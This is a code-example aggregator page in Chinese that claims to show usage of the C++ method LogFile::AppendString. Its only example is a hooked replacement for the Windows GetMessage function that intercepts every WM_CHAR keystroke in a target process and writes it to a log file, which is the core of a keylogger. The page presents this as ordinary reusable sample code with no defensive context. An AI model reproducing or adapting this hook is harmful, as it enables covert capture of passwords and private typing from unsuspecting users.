本文整理汇总了C++中LogFile::AppendString方法的典型用法代码示例。如果您正苦于以下问题:C++ LogFile::AppendString方法的具体用法?C++ LogFile::AppendString怎么用?C++ LogFile::AppendString使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类LogFile
的用法示例。
在下文中一共展示了LogFile::AppendString方法的1个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: GetMessage_Hooked
/*
Hooked GetMessage Function, all of the target process WM_CHAR messages are intercepted here
*/
BOOL WINAPI GetMessage_Hooked(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax)
{
static char key[2]; // used to stored converted key
// call orig first to get message data
BOOL res = OriginalGetMessage(lpMsg, hWnd, wMsgFilterMin, wMsgFilterMax);
// now that we got the message, check if its a keypress
if (res && lpMsg->message == WM_CHAR)
{
// we got a key press, convert to char and log it
key[0] = (char)lpMsg->wParam;
key[1] = 0;
//MessageBox(0, key, "Key Pressed!", 0);
log_file.AppendString((char*)key);
}
return res;
}